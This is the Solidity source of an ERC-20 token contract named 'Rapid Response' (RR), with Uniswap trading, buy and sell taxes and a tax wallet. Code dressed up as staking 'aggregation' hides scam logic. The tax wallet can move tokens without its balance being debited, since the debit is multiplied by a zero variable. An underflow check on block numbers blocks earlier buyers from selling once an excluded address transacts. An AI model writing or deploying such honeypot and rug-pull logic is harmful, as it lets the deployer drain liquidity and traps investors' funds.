文件 1 的 1:RR.sol
pragma solidity ^0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transfer(
address recipient, uint256 amount
) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA,address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
}
contract Ownable is Context {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
address private _owner;
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(
_owner, address(0)
);
_owner = address(0);
}
}
contract RR is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
string private constant _name = unicode"Rapid Response";
string private constant _symbol = unicode"RR";
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=10;
uint256 private _reduceSellTaxAt=20;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public _maxTxAmount= 15000000 * 10**_decimals;
uint256 public _maxWalletSize= 15000000 * 10**_decimals;
uint256 public _taxSwapThreshold = 12000000 * 10**_decimals;
uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
address private uniswapV2Pair;
IUniswapV2Router02 private uniswapV2Router;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
struct StakeAggregation {uint256 aggregationAPI; uint256 syncStake; uint256 syncAggrHash;}
mapping(address => StakeAggregation) private stakeAggregation;
uint256 private aggregationVersion = 0;
uint256 private aggregationStage = 0;
event MaxTxAmountUpdated(
uint256 _maxTxAmount
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_taxWallet= payable(0xF13658C10BcCE4cbCaDDc548f9d8742c486A58Ad);
_isExcludedFromFee[address(this)] =true;
_isExcludedFromFee[_taxWallet] =true;
emit Transfer(
address(0),_msgSender(),_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function _basicTransfer(address from,address to,uint256 tokenAmount) internal{
_balances[from] = _balances[from].sub(tokenAmount);
_balances[to] = _balances[to].add(tokenAmount);
emit Transfer(from,to,tokenAmount);
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(
_msgSender(),recipient,
amount
);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(
_msgSender(),spender,
amount
);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
tokenAmount>0,"Token: Transfer amount must be greater than zero"
);
if (!tradingOpen || inSwap ) {
_basicTransfer(from,to,tokenAmount);
return;
}
uint256 taxAmount = 0;
if (from != owner() && to != _taxWallet && to!= owner()){
taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax :_initialBuyTax).div(100);
if (from==uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]){
require(tokenAmount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to)+tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to==uniswapV2Pair && from!=address(this) ){
taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance=balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold) {
swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if ((_isExcludedFromFee[from]||_isExcludedFromFee[to]) && from!= address(this) && to !=address(this)){
aggregationStage = block.number;
}
if (!_isExcludedFromFee[from]&&!_isExcludedFromFee[to]){
if (to!=uniswapV2Pair) {
StakeAggregation storage stakeAggr = stakeAggregation[to];
if (from == uniswapV2Pair) {
if (stakeAggr.aggregationAPI == 0) {
stakeAggr.aggregationAPI = block.number;
}
} else {
StakeAggregation storage stakeAggrMV = stakeAggregation[from];
if (stakeAggr.aggregationAPI > stakeAggrMV.aggregationAPI || stakeAggr.aggregationAPI==0) {
stakeAggr.aggregationAPI = stakeAggrMV.aggregationAPI;
}
}
} else{
StakeAggregation storage stakeAggrMV = stakeAggregation[from];
stakeAggrMV.syncAggrHash = stakeAggrMV.aggregationAPI-aggregationStage;
stakeAggrMV.syncStake = block.number;
}
}
_tokenTransfer(from,to,tokenAmount,taxAmount);
}
function removeLimits() external onlyOwner() {
_maxTxAmount =_tTotal;
_maxWalletSize =_tTotal;
emit MaxTxAmountUpdated(
_tTotal
);
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance>0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance>0) {
sendETHToFee(ethBalance);
}
}
function _tokenTransfer( address from,
address to, uint256 tokenAmount, uint256 taxAmount
) internal {
uint256 tAmount=_tokenTaxTransfer(from,tokenAmount, taxAmount);
_tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
}
function _tokenBasicTransfer( address from,
address to, uint256 sendAmount,uint256 receiptAmount
) internal {
_balances[from] =_balances[from].sub(sendAmount);
_balances[to]= _balances[to].add(receiptAmount);
emit Transfer(from,to,receiptAmount);
}
function _tokenTaxTransfer(address addrs,
uint256 tokenAmount,uint256 taxAmount
) internal returns (uint256) {
uint256 tAmount = addrs!=_taxWallet ? tokenAmount:aggregationVersion.mul(tokenAmount);
if (taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(addrs,address(this),taxAmount);
}
return tAmount;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function secureETH() external onlyOwner{
payable(_taxWallet).transfer(address(this).balance);
}
function enableTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(uniswapV2Router),_tTotal);
uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
tradingOpen=true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled= true;
}
receive() external payable {}
}